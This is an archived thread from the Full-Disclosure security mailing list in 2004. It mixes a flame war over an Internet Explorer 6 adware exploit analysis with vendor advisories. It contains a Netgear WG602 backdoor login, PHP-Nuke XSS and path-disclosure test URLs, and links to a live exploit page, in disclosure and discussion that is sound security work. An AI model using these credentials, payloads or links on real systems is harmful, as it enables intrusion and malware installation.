>You do research and advertise the company that did it, and what solution 
>it offers.
>Working for free doesn't put food on the table and he has a product that 
>might actually protects against such issues. What's next, you will 
>complain about AV companies who say they detect a virus or security 
>researchers that get paid to work instead of living off the street 
>credit from the security mailing lists? Maybe you just don't like 
>companies of any kind.


Ok what you have to understand is that Qwik fix is a collection of 5
registry patches nothing more, nothing less.. (run regmon, filemon while
running it and verify this) I can accomplish the same task by clicking on a
.reg file

They slapped a nice frontend on it some corporate branding, made it
available for free, pivx has some exposure, the user has a saver pc,
everybody wins, and that's all ok with me so far

But ask yourself how seriously can you take a company that names 5 registry
patches their flagship product??

Now they are trying to cash in on it by providing a pro version of the
product. They wrote a freaking 16 page whitepaper explaining the business
benefits of 5 registry patches!!!

http://www.net-security.org/dl/articles/Qwik-Fix_Pro_WhitePaper.pdf

I had this argument with someone before who asked me the same thing, he
asked me why do you dislike pivx so much, 

doesn't their product work?
Well I had to admit that it did

Well isn't it worth the money then?
Well again I had to say, this can save your company a lot of $$ 

So you dislike them so much?

I finally got thru to him with the following analogy

What if someone offered to sell you a bottle of water for $400 would you buy
it?
Well hell no he replied.
To which I replied doesn't it relief your thirst then?
Doesn't it come with all sorts of minerals and stuff and keeps you alive?

It are just 5 registry patches, they are charging money for 5 registry
patches!!!, Much like selling water at $400 the bottle it is not illegal,
but anyone would agree that such a person would be a conman, and conmen pivx
are!

Their product is closed source so it makes it difficult to know what it
does, they make the progress bar move really really slow when applying these
fixes so it looks as if there is some heavy wizardry going on etc etc..

I dislike conmen they rub off badly to the rest of the people who have real
products to sell and put a lot of work in them (for clarity I am not a
competitor to me it's all fun and games) but surely you can sympathize with
this?


>As to the research itself...
>
>Thor went through the hnc3k.com website and listed all the pages and 
>vulnerabilities on it, which sounds like an exhaustive task to me. 

Sure he put in a lot of work, but came up empty!
*ALL* of the stuff he listed where old exploits long rendered useless by
Microsoft patched, yet he managed to reach  some miraculous conclusion

The evidence did not match the conclusion, I encourage you to click on any
of the links he provided in that post with a fully IE6 on winxp, there's a
20 euro bill with your name on it if you get infected by anything but the
common cold.

 
>But didn't you do the same and when analyzing the 180 solutions Trojan 
>pages? It sounds pretty exhaustive as well.

>The difference is that Thor also told you how to protect against this, 
>by locking down the My Computer zone. I can't see anywhere that Thor was 
>referring to the object caching vulnerability you are listing as new. In 
>my mind, he was referring to the old Unpatched page that he used to 
>maintain and that would mean he said some of those are still not patched.

>I miss that page. It was very good.

Yes interesting that that more or les coincided with the Microsoft logo
popping up on their client list http://www.pivx.com/clients.html
Oh and liu maintains a similar list now, you might want to check it out
though it's updated as frequently as I'd like, maybe I'll start my own who
knows

>We know that Ibiza still works

Talk is cheap and words are plenty where's the proof of that?? , this is
entirely different, the only thing they share is my adodb.stream code so you
can't be referring to my post as proof that "Ibiza" still works

So can you show me the code for an Ibiza variation that still works?


>and that there are still problems with 
>the SSL certificate handling in IE, don't you think he was just 
>referring to those? From this side it really just looks as if you are 
>trying to deal a low blow against Mr. Larholm because you have some 
>personal grudge against him.
>I hope I provided you with information to re-think your claims. Also, 
>please try and keep your grudges to yourself where 50K plus busy people 
>need to sift through vital information?

I probably saved you and these 50K others work by doing this write-up, for
free I may add. And I'll bloody well write whatever I like in it, if you
come half way and realize the signal to noise ratio is too high for you,
stop reading! I am not forcing you to read it.

I am not adding these remarks to be nasty or offend mr Larholm personally, I
do think a lot of the stunts they pull are unethical and I'll do everything
in my power to expose them




From ge at linuxbox.org  Mon Jun  7 21:47:03 2004
From: ge at linuxbox.org (Gadi Evron)
Date: Mon, 07 Jun 2004 22:47:03 +0200
Subject: [Full-Disclosure] Re: Internet explorer 6 execution of arbitrary code (An analysis
 of the 180 Solutions Trojan)
In-Reply-To: <000001c44c2d$d33df9b0$3200000a@alex>
References: <000001c44c2d$d33df9b0$3200000a@alex>
Message-ID: <40C4D447.9040203@linuxbox.org>

Comments inline.

Jelmer wrote:

> Just when I though it was save to once more use internet explorer I received
> an email bringing my attention to this webpage
> http://216.130.188.219/ei2/installer.htm   that according to him used an
> exploit that affected fully patched internet explorer 6 browsers. Being
> rather skeptical I carelessly clicked on the link only to witness how it
> automatically installed addware on my pc!!!

So, you just clicked on the link which was reported as unsafe, did you? :)

Those protocol handlers always seem to cause problems and it's not just 
on Windows, Apple has had just as many problems in dealing with these 
for OS X. If it's not a lack of input validation then it is a lack of 
zone restrictions, perhaps the entire concept of higher privileged zones 
of any kind should be abandoned.

Are these really new vulnerabilities or just variants of old? The 
"Location: URL:" proxy really just looks like the "Location: File:" 
proxy that Liu Die Yu reported and the object caching stuff really just 
looks like a variation of the advisories from GreyMagic back in 2002 
with the showModalDialog caching and javascript: injection. Other than 
those 2, the only real vulnerability on the page is the Ibiza chm stuff 
which still works on plenty of fully patched machines.

> Now there had been reports about 0day exploits making rounds for quite some
> time like for instance this post
>  
> http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 

Why is this a 0-day? Are you trying to start a holy war here? Please 
explain why this is a 0-day if you make such claims.

> However I hadn't seen any evidence to support this up until now
> Thor Larholm as usual added to the confusion by deliberately spreading
> disinformation as seen in this post
>  
> http://seclists.org/lists/bugtraq/2004/May/0153.html

Thor? Spreading disinformation?

> Attributing it to and I quote "just one of the remaining IE vulnerabilities
> that are not yet patched"

That sounds about right.

> I?ve attempted to write up an analysis that will show that there are at
> least 2 new and AFAIK unpublished vulnerabilities (feel free to proof me
> wrong) out there in the wild, one being fairly sophisticated 

I, personally, appreciate any serious research work, but why put down a 
colleague while you're at it?

> You can view it at:
> 
> http://62.131.86.111/analysis.htm
> 
> Additionally you can view a harmless demonstration of the vulnerabilities at
> 
> http://62.131.86.111/security/idiots/repro/installer.htm
> 
> Finally I also attached the source files to this message

If this really was a 0-day, isn't that a tad irresponsible?

As to Thor...

You are claiming that he is deliberately spreading disinformation, but 
then you proceed to verify his claims.

Are you sure you don't just have a personal vendetta against him?
I don't see what's wrong with him pitching his product (Quik-Fix (?)) 
when reporting his research. That's how the industry work.

You do research and advertise the company that did it, and what solution 
it offers.
Working for free doesn't put food on the table and he has a product that 
might actually protects against such issues. What's next, you will 
complain about AV companies who say they detect a virus or security 
researchers that get paid to work instead of living off the street 
credit from the security mailing lists? Maybe you just don't like 
companies of any kind.

As to the research itself...

Thor went through the hnc3k.com website and listed all the pages and 
vulnerabilities on it, which sounds like an exhaustive task to me. But 
didn't you do the same and when analyzing the 180 solutions Trojan 
pages? It sounds pretty exhaustive as well.

The difference is that Thor also told you how to protect against this, 
by locking down the My Computer zone. I can't see anywhere that Thor was 
referring to the object caching vulnerability you are listing as new. In 
my mind, he was referring to the old Unpatched page that he used to 
maintain and that would mean he said some of those are still not patched.

I miss that page. It was very good.

We know that Ibiza still works and that there are still problems with 
the SSL certificate handling in IE, don't you think he was just 
referring to those? From this side it really just looks as if you are 
trying to deal a low blow against Mr. Larholm because you have some 
personal grudge against him.

I hope I provided you with information to re-think your claims. Also, 
please try and keep your grudges to yourself where 50K plus busy people 
need to sift through vital information?

	Gadi Evron.

-- 
Email: ge at linuxbox.org.  Work: gadie at cbs.gov.il. Backup: ge at warp.mx.dk.
Phone: +972-50-428610 (Cell).

PGP key for attachments: http://vapid.reprehensible.net/~ge/Gadi_Evron.asc
ID: 0xD9216A06 FP: 5BB0 D3E2 D3C1 19B7 2104  C0D0 A7B3 1CF7 D921 6A06
GPG key for encrypted email: 
http://vapid.reprehensible.net/~ge/Gadi_Evron_Emails.asc
ID: 0x06C7D450 FP: 3B88 845A DF1F 4062 E5BA  569A A87E 8DB7 06C7 D450



From jhg at athensgroup.com  Sun Jun  6 01:27:07 2004
From: jhg at athensgroup.com (James Garrison)
Date: Sat, 05 Jun 2004 19:27:07 -0500
Subject: [Full-Disclosure] Re: Netgear WG602 Accesspoint vulnerability
In-Reply-To: <20040603220313.GB2307@lupe-christoph.de>
References: <Pine.GSO.4.33.0406031903380.14119-100000@shamal.khamsin.ch> <20040603220313.GB2307@lupe-christoph.de>
Message-ID: <40C264DB.5000302@athensgroup.com>

My WG602v2 with firmware 2.0RC5 does not appear to be vulnerable.
I cannot login with the super/5777364 combination.

Lupe Christoph wrote:

> On Thursday, 2004-06-03 at 19:35:22 +0200, Tom Knienieder wrote:
> 
> 
>>        Possibly vulnerable (not verified)
>>                WG602 with other Firmware Versions
>>                WG602v2

-- 
James Garrison                                Athens Group, Inc.
mailto:jhg at athensgroup.com                    5608 Parkcrest Dr
http://www.athensgroup.com                    Austin, TX 78731
PGP: RSA=0x92E90A3B DH/DSS=0x498D331C         (512) 345-0600 x150



From security-advisories at freebsd.org  Mon Jun  7 22:06:14 2004
From: security-advisories at freebsd.org (FreeBSD Security Advisories)
Date: Mon,  7 Jun 2004 23:06:14 +0200 (CEST)
Subject: [Full-Disclosure] FreeBSD Security Advisory FreeBSD-SA-04:12.jailroute
Message-ID: <20040607210614.1CEE433C77@dwp.des.no>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

=============================================================================
FreeBSD-SA-04:12.jailroute                                  Security Advisory
                                                          The FreeBSD Project

Topic:          Jailed processes can manipulate host routing tables

Category:       core
Module:         kernel
Announced:      2004-06-07
Credits:        Pawel Malachowski
Affects:        All FreeBSD 4.x releases prior to 4.10-RELEASE
Corrected:      2004-04-06 20:11:53 UTC (RELENG_4)
                2004-06-07 17:44:44 UTC (RELENG_4_9, 4.9-RELEASE-p10)
                2004-06-07 17:42:42 UTC (RELENG_4_8, 4.8-RELEASE-p23)
CVE Name:       CAN-2004-0125
FreeBSD only:   YES

For general information regarding FreeBSD Security Advisories,
including descriptions of the fields above, security branches, and the
following sections, please visit
<URL:http://www.freebsd.org/security/>.

I.   Background

The jail(2) system call allows a system administrator to lock up a
process and all its descendants inside a closed environment with very
limited ability to affect the system outside that environment, even
for processes with superuser privileges.  It is an extension of, but
far more stringent than, the traditional Unix chroot(2) system call.

The FreeBSD kernel maintains internal routing tables for the purpose
of determining which interface should be used to transmit packets.
These routing tables can be manipulated by user processes running
with superuser privileges by sending messages over a routing socket.

II.  Problem Description

A programming error resulting in a failure to verify that an attempt
to manipulate routing tables originated from a non-jailed process.

III. Impact

Jailed processes running with superuser privileges could modify host
routing tables.  This could result in a variety of consequences including
packets being sent via an incorrect network interface and packets being
discarded entirely.

IV.  Workaround

No workaround is available.

V.   Solution

Do one of the following:

1) Upgrade your vulnerable system to 4.10-RELEASE, or to the RELENG_4_8
or RELENG_4_9 security branch dated after the correction date.

OR

2) Patch your present system:

The following patch has been verified to apply to the FreeBSD 4.8 and
4.9 systems.

a) Download the relevant patch from the location below, and verify the
detached PGP signature using your PGP utility.

# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:12/jailroute.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:12/jailroute.patch.asc

b) Apply the patch.

# cd /usr/src
# patch < /path/to/patch

c) Recompile your kernel as described in
<URL:http://www.freebsd.org/handbook/kernelconfig.html> and reboot the
system.

VI.  Correction details

The following list contains the revision numbers of each file that was
corrected in FreeBSD.

Branch                                                           Revision
  Path
- -------------------------------------------------------------------------
RELENG_4
  src/sys/net/rtsock.c                                          1.44.2.13
RELENG_4_9
  src/UPDATING                                             1.73.2.89.2.11
  src/sys/conf/newvers.sh                                  1.44.2.32.2.11
  src/sys/net/rtsock.c                                      1.44.2.11.4.1
RELENG_4_8
  src/UPDATING                                             1.73.2.80.2.26
  src/sys/conf/newvers.sh                                  1.44.2.29.2.24
  src/sys/net/rtsock.c                                      1.44.2.11.2.1
- -------------------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (FreeBSD)

iD8DBQFAxNfYFdaIBMps37IRAiU4AJ91d4MhEjkRL0PBddb/tuZoUsgh5QCgmRhN
Xfy0St57y/HuS9TuQ2akEYI=
=Tucm
-----END PGP SIGNATURE-----
_______________________________________________
freebsd-security-notifications at freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-security-notifications
To unsubscribe, send any mail to "freebsd-security-notifications-unsubscribe at freebsd.org"



From k1ll3rb0y at hotmail.com  Mon Jun  7 22:30:38 2004
From: k1ll3rb0y at hotmail.com (Dark Bicho)
Date: Mon, 07 Jun 2004 16:30:38 -0500
Subject: [Full-Disclosure] Multiple vulnerabilities PHP-Nuke
Message-ID: <BAY8-F36lnJ2IKkVmkL00064b31@hotmail.com>

original advisory : http://bichosoft.webcindario.com/advisory-05.txt

-------------------------------------------------------------------------------------------------

                            :.: Multiple vulnerabilities PHP-Nuke :.:

  PROGRAM: PHP-Nuke
  HOMEPAGE: http://phpnuke.org/
  VERSION: 6.x, 7.2, 7.3
  BUG: Multiple vulnerabilities
  DATE:  14/05/2004
  AUTHOR: DarkBicho
          web: http://www.darkbicho.tk
          team: Security Wari Proyects <www.swp-zone.org>
          Email: darkbicho at peru.com

-------------------------------------------------------------------------------------------------


1.- Affected software description:
    -----------------------------

    Php-Nuke is a popular content management system, written in php by
    Francisco Burzi.

2.- Vulnerabilities:
    ---------------

A. Full path disclosure:

    This vulnerability would allow a remote user to determine the full
    path to the web root directory and other potentially sensitive 
information.

    :.: Examples:

    
http://localhost/nuke1/modules.php?name=Reviews&rop=showcontent&id='DarkBicho

    Warning: date(): Windows does not support dates prior to midnight 
(00:00:00),
    January 1, 1970 in c:\appserv\www\nuke1\modules\Reviews\index.php on 
line 527

B. Cross-Site Scripting aka XSS:

    :.: id :

    * 
http://localhost/nuke1/modules.php?name=Reviews&rop=postcomment&id='&title=a

    <input type=hidden name=id value='>

    :.: title :

    * 
http://localhost/nuke1/modules.php?name=Reviews&rop=postcomment&id='&title=a

    :.: Examples:

    
http://localhost/nuke1/modules.php?name=Reviews&rop=postcomment&id='<h1>DarkBicho</h1&title=a
    
http://localhost/nuke1/modules.php?name=Reviews&rop=postcomment&id='&title=<h1>DarkBicho</h1>


3.- SOLUTION:
     ????????
    Vendors were contacted many weeks ago and plan to release a fixed 
version soon.
    Check the PHP-NUKE website for updates and official release details.


4.- Greetings:
    ---------

    greetings to my Peruvian group swp and perunderforce :D
    "EL PISCO ES Y SERA PERUANO"


5.- Contact
    -------

	WEB: http://www.darkbicho.tk
	EMAIL: darkbicho at peru.com

-------------------------------------------------------------------------------------------------
                                ___________      ____________
                               /   _____/  \    /  \______   \
                               \_____  \\   \/\/   /|     ___/
                              /        \\        / |    |
                             /_______  / \__/\  /  |____|
                             \/       \/

                                Security Wari Projects
                                  (c) 2002 - 2004
		                    Made in Peru

----------------------------------------[   EOF    
]----------------------------------------------

_________________________________________________________________
Consigue aqu? las mejores y mas recientes ofertas de trabajo en Am?rica 
Latina y USA: http://latam.msn.com/empleos/



From security at linux-mandrake.com  Tue Jun  8 02:15:17 2004
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: 8 Jun 2004 01:15:17 -0000
Subject: [Full-Disclosure] MDKSA-2004:057 - Updated tripwire packages fix format string vulnerability
Message-ID: <20040608011517.7111.qmail@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           tripwire
 Advisory ID:            MDKSA-2004:057
 Date:                   June 7th, 2004

 Affected versions:	 10.0, 9.2, Corporate Server 2.1
 ______________________________________________________________________

 Problem Description:

 Paul Herman discovered a format string vulnerability in tripwire that
 could allow a local user to execute arbitrary code with the rights of
 the user running tripwire (typically root).  This vulnerability only
 exists when tripwire is generating an email report.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0536
  http://www.securityfocus.com/archive/1/365036
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 f7218d2fbde501fff2d418e7817679e6  10.0/RPMS/tripwire-2.3.1.2-7.1.100mdk.i586.rpm
 4476fcbb452e7af2a7171e303f75f0f4  10.0/SRPMS/tripwire-2.3.1.2-7.1.100mdk.src.rpm

 Corporate Server 2.1:
 69367ac3b8afe929b0542f1921606ea1  corporate/2.1/RPMS/tripwire-2.3.1.2-7.1.C21mdk.i586.rpm
 85b56f3e3587ed3ff69ffd98708e9d39  corporate/2.1/SRPMS/tripwire-2.3.1.2-7.1.C21mdk.src.rpm

 Mandrakelinux 9.2:
 b8fa611b9f5c5b65bc8bfc30e880e6e5  9.2/RPMS/tripwire-2.3.1.2-7.1.92mdk.i586.rpm
 ae1cd49c93ad98e770ddd82fb9a55356  9.2/SRPMS/tripwire-2.3.1.2-7.1.92mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFAxRMlmqjQ0CJFipgRAjfIAJ4ikNoIKkSdPdwJyt7bJT0Ma3JbYQCdFiU5
O5Z+DqqCC/vE9U15eACPMJ4=
=dvYs
-----END PGP SIGNATURE-----



From 1 at malware.com  Tue Jun  8 02:18:47 2004
From: 1 at malware.com (http-equiv@excite.com)
Date: Tue, 8 Jun 2004 01:18:47 -0000
Subject: [Full-Disclosure] Re: Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
Message-ID: <200406080118.i581IlFo031656@web111.megawebservers.com>


 <!-- 

I hope I provided you with information to re-think your claims.

-->

Is that so?

You and your friend provide nothing. Never have. Never will.  
You and he ought remain in the peanut gallery and let doer's do. 
Sit back keep your mouth shut and learn from people who do.

Or create yet another mailing list and 'hope' that you can be 
seen as  a doer.

What you see is a 100% zero day. I'll personally guarantee 
that !  And you'll never know it. Even 
if it was explained to you in crystal detail like Jelmer just 
did.

You should be on your knees thanking Jelmer for explaining it, 
no one else can and no one else has. Because its not so easy.



-- 
http://www.malware.com



















snivelling little shit






From pauls at utdallas.edu  Tue Jun  8 02:19:51 2004
From: pauls at utdallas.edu (Schmehl, Paul L)
Date: Mon, 7 Jun 2004 20:19:51 -0500
Subject: [Full-Disclosure] another new worm submission
Message-ID: <ADA47EFE15ACA74E8B702B6EF90D91391A5304@UTDEVS08.campus.ad.utdallas.edu>


Paul Schmehl (pauls at utdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/~pauls/  

> -----Original Message-----
> From: Perrymon, Josh L. [mailto:PerrymonJ at bek.com] 
> Sent: Sunday, June 06, 2004 10:36 PM
> To: 'Ron DuFresne'; Jerry Heidtke
> Cc: Schmehl, Paul L; full-disclosure at netsys.com
> Subject: RE: [Full-Disclosure] another new worm submission
> 
> I agree.
> 
> Anyone that would have those ports open has a *lot more to 
> worry about that cleaning a few worm infections.
> That's not the case here. This infection was caused by a 
> remote user not a Lan user.
> With several hundred laptops it's hard have 0 exposure. As 
> with any growing security practice and today's decreased 
> budgets areas of focus are determined on risk exposure.
> 
> Anywho-
> I found the Trojan to be backdoor.nibu.g- although Symantec 
> AV didn't pick it up until tonight.
> 
> I think this is a good example that perimeter security is 
> only part of the battle. 
> Tomorrow's morning meeting will stress the importance of 
> desktop firewalls again and a good patch management process.
> You can talk until your blue in the face to upper management 
> but I find 90% to be reactive.
> 
I rest my case.

Paul Schmehl (pauls at utdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/~pauls/ 



From randallm at fidmail.com  Tue Jun  8 03:19:05 2004
From: randallm at fidmail.com (RandallM)
Date: Mon, 7 Jun 2004 21:19:05 -0500
Subject: [Full-Disclosure] RE: Full-Disclosure digest, SP2 Problems
In-Reply-To: <20040607120705.3984.79719.Mailman@NETSYS.COM>
Message-ID: <200406080218.i582ITv26519@netsys.com>


Jelmer made this really neat statement:
 
<|>--__--__--
<|>
<|>Message: 5
<|>Date: Mon, 07 Jun 2004 04:17:28 +0200
<|>From: Jelmer <jkuperus at planet.nl>
<|>Subject: RE: [Full-Disclosure] Internet explorer 6 execution of arbitrary
<|>code
<|> (An analysis of the 180 Solutions Trojan)
<|>To: "'Chris Carlson'" <chris at compucounts.com>
<|>Cc: full-disclosure at lists.netsys.com
<|>
<|>I haven't installed SP2 yet since I heard a lot of complaints from people
<|>who claimed it caused instability, it had memory management issues, some
<|>drivers didn't work, security measures a bit too much in your face etc
<|>
<|>But I reviewed the list of changes sometime back and I concur, it looks
<|>very
<|>promising, I think in the near future an IE exploit will be a rare
<|>occurrence as opposed to a bi weekly event
<|>
<|>End of Full-Disclosure Digest

My reply:

I have the sp2 after attending the Security Summit 2004. I loaded this on my
test laptop. Glad I did. I would have been very pissed if I had loaded it on
anything else.

First off, if you have McAfee or Norton you no longer are able to update
using auto. It for sure is for the "home" user. If you're expecting
something that you can have a little more control over this is not for you.
One thing that I was afraid of and concerned me due to my mobile users was
the ability to use VPN. It works well and does give you options to select
services for each connection you use.
It did not recognize my virus program being loaded nor give me the option to
point to it. I think that's due to the McAfee incompatibility in someway

I did look for a fix and found this but haven't tried it yet:
______________
The McAfee framework issue is solved easily.
Administrative Tools
Component Service
DCOM conf
Framework service
Right-click -> properties
Set the launch and access permission to Default
Restart pc. McAfee will update properly.
Seems to be an error in the McAfee installer
________________

Then of course there seems to be a slue of areas from web programs to a
warning from Microsoft "that SP2 will break and disrupt existing
applications unless specific code rewrites are made at the developer end".
http://www.internetnews.com/ent-news/article.php/3322381 

I'll test the above for McAfee fix and see if that works.

Randall M



From larry at larryseltzer.com  Tue Jun  8 04:46:07 2004
From: larry at larryseltzer.com (Larry Seltzer)
Date: Tue, 8 Jun 2004 05:46:07 +0200
Subject: [sb] RE: [Full-Disclosure] Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
In-Reply-To: <000001c44c2d$d33df9b0$3200000a@alex>
Message-ID: <000001c44d0b$21c3de00$0100a8c0@hubercomp.local>

>>Finally I also attached the source files to this message

My McAfee-based gateway scanner blocks the attachment and labels it as "VBS/Psyme",
which has this description
(http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=100749): 

"This trojan exploits an unpatched (at the time of this writing) vulnerability in
Internet Explorer.  The vulnerability allows for the writing, and overwriting, of local
files by exploiting the ADODB.Stream object.  There are several variants of this trojan.
Therefore this description is design to give an overview of how the trojan works.

The trojan exists as VBScript.  This script contains instructions to download a remote
executable, save it to a specified location on the local disk, and then execute it."

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzer at ziffdavis.com 

-- 
 Sie haben den Sicherheitsboten abonniert.
 http://sicherheitsbote.net





From ge at linuxbox.org  Tue Jun  8 06:36:21 2004
From: ge at linuxbox.org (Gadi Evron)
Date: Tue, 08 Jun 2004 07:36:21 +0200
Subject: [Full-Disclosure] Re: Internet explorer 6 execution of arbitrary code (An analysis
 of the 180 Solutions Trojan)
In-Reply-To: <200406080118.i581IlFo031656@web111.megawebservers.com>
References: <200406080118.i581IlFo031656@web111.megawebservers.com>
Message-ID: <40C55055.2000006@linuxbox.org>

And the 0-day is Thor Larholm's post being put down?

I said in my post that if this is a 0-day, please explain further.

I'd love it explained to me, if I can read through all the flames and 
hate mail.

	Gadi Evron.


http-equiv at excite.com wrote:
>  <!-- 
> 
> I hope I provided you with information to re-think your claims.
> 
> -->
> 
> Is that so?
> 
> You and your friend provide nothing. Never have. Never will.  
> You and he ought remain in the peanut gallery and let doer's do. 
> Sit back keep your mouth shut and learn from people who do.
> 
> Or create yet another mailing list and 'hope' that you can be 
> seen as  a doer.
> 
> What you see is a 100% zero day. I'll personally guarantee 
> that !  And you'll never know it. Even 
> if it was explained to you in crystal detail like Jelmer just 
> did.
> 
> You should be on your knees thanking Jelmer for explaining it, 
> no one else can and no one else has. Because its not so easy.
> 
> 
> 


-- 
Email: ge at linuxbox.org.  Work: gadie at cbs.gov.il. Backup: ge at warp.mx.dk.
Phone: +972-50-428610 (Cell).

PGP key for attachments: http://vapid.reprehensible.net/~ge/Gadi_Evron.asc
ID: 0xD9216A06 FP: 5BB0 D3E2 D3C1 19B7 2104  C0D0 A7B3 1CF7 D921 6A06
GPG key for encrypted email: 
http://vapid.reprehensible.net/~ge/Gadi_Evron_Emails.asc
ID: 0x06C7D450 FP: 3B88 845A DF1F 4062 E5BA  569A A87E 8DB7 06C7 D450



From ge at linuxbox.org  Mon Jun  7 21:47:03 2004
From: ge at linuxbox.org (Gadi Evron)
Date: Mon, 07 Jun 2004 22:47:03 +0200
Subject: [Full-Disclosure] Re: Internet explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
In-Reply-To: <000001c44c2d$d33df9b0$3200000a@alex>
References: <000001c44c2d$d33df9b0$3200000a@alex>
Message-ID: <20040608045109.D2670640035@iprive.iconicnetworks.com>

Comments inline.

Jelmer wrote:

> Just when I though it was save to once more use internet explorer I received
> an email bringing my attention to this webpage
> http://216.130.188.219/ei2/installer.htm   that according to him used an
> exploit that affected fully patched internet explorer 6 browsers. Being
> rather skeptical I carelessly clicked on the link only to witness how it
> automatically installed addware on my pc!!!

So, you just clicked on the link which was reported as unsafe, did you? :)

Those protocol handlers always seem to cause problems and it's not just 
on Windows, Apple has had just as many problems in dealing with these 
for OS X. If it's not a lack of input validation then it is a lack of 
zone restrictions, perhaps the entire concept of higher privileged zones 
of any kind should be abandoned.

Are these really new vulnerabilities or just variants of old? The 
"Location: URL:" proxy really just looks like the "Location: File:" 
proxy that Liu Die Yu reported and the object caching stuff really just 
looks like a variation of the advisories from GreyMagic back in 2002 
with the showModalDialog caching and javascript: injection. Other than 
those 2, the only real vulnerability on the page is the Ibiza chm stuff 
which still works on plenty of fully patched machines.

> Now there had been reports about 0day exploits making rounds for quite some
> time like for instance this post
>  
> http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 

Why is this a 0-day? Are you trying to start a holy war here? Please 
explain why this is a 0-day if you make such claims.

> However I hadn't seen any evidence to support this up until now
> Thor Larholm as usual added to the confusion by deliberately spreading
> disinformation as seen in this post
>  
> http://seclists.org/lists/bugtraq/2004/May/0153.html

Thor? Spreading disinformation?

> Attributing it to and I quote "just one of the remaining IE vulnerabilities
> that are not yet patched"

That sounds about right.

> I?ve attempted to write up an analysis that will show that there are at
> least 2 new and AFAIK unpublished vulnerabilities (feel free to proof me
> wrong) out there in the wild, one being fairly sophisticated 

I, personally, appreciate any serious research work, but why put down a 
colleague while you're at it?

> You can view it at:
> 
> http://62.131.86.111/analysis.htm
> 
> Additionally you can view a harmless demonstration of the vulnerabilities at
> 
> http://62.131.86.111/security/idiots/repro/installer.htm
> 
> Finally I also attached the source files to this message

If this really was a 0-day, isn't that a tad irresponsible?

As to Thor...

You are claiming that he is deliberately spreading disinformation, but 
then you proceed to verify his claims.

Are you sure you don't just have a personal vendetta against him?
I don't see what's wrong with him pitching his product (Quik-Fix (?)) 
when reporting his research. That's how the industry work.

You do research and advertise the company that did it, and what solution 
it offers.
Working for free doesn't put food on the table and he has a product that 
might actually protects against such issues. What's next, you will 
complain about AV companies who say they detect a virus or security 
researchers that get paid to work instead of living off the street 
credit from the security mailing lists? Maybe you just don't like 
companies of any kind.

As to the research itself...

Thor went through the hnc3k.com website and listed all the pages and 
vulnerabilities on it, which sounds like an exhaustive task to me. But 
didn't you do the same and when analyzing the 180 solutions Trojan 
pages? It sounds pretty exhaustive as well.

The difference is that Thor also told you how to protect against this, 
by locking down the My Computer zone. I can't see anywhere that Thor was 
referring to the object caching vulnerability you are listing as new. In 
my mind, he was referring to the old Unpatched page that he used to 
maintain and that would mean he said some of those are still not patched.

I miss that page. It was very good.

We know that Ibiza still works and that there are still problems with 
the SSL certificate handling in IE, don't you think he was just 
referring to those? From this side it really just looks as if you are 
trying to deal a low blow against Mr. Larholm because you have some 
personal grudge against him.

I hope I provided you with information to re-think your claims. Also, 
please try and keep your grudges to yourself where 50K plus busy people 
need to sift through vital information?

	Gadi Evron.

-- 
Email: ge at linuxbox.org.  Work: gadie at cbs.gov.il. Backup: ge at warp.mx.dk.
Phone: +972-50-428610 (Cell).

PGP key for attachments: http://vapid.reprehensible.net/~ge/Gadi_Evron.asc
ID: 0xD9216A06 FP: 5BB0 D3E2 D3C1 19B7 2104  C0D0 A7B3 1CF7 D921 6A06
GPG key for encrypted email: 
http://vapid.reprehensible.net/~ge/Gadi_Evron_Emails.asc
ID: 0x06C7D450 FP: 3B88 845A DF1F 4062 E5BA  569A A87E 8DB7 06C7 D450



From ctor at hushmail.com  Tue Jun  8 05:53:01 2004
From: ctor at hushmail.com (ctor at hushmail.com)
Date: Mon,  7 Jun 2004 21:53:01 -0700
Subject: [Full-Disclosure] Re: Internet Explorer 6 execution of arbitrary code (An analysis of the 180 Solutions Trojan)
Message-ID: <200406080453.i584r36c061695@mailserver1.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

|| From: http-equiv <1 at malware.com>
|| You and your friend provide nothing. Never have.
|| Never will. You and he ought remain in the peanut
|| gallery and let doer's do. Sit back keep your
|| mouth shut and learn from people who do.

provide what to who? all you are doing yourself is providing exploits
that any 12 year old kiddie can use and making html pages that help phishers
defraud innocent people.

do what? all you are doing is helping the bad guys and increasing my
insecurity.

you are like a burglar complaining about the handcuff company helping
out cops.

|| You should be on your knees thanking Jelmer for
|| explaining it, no one else can and no one else
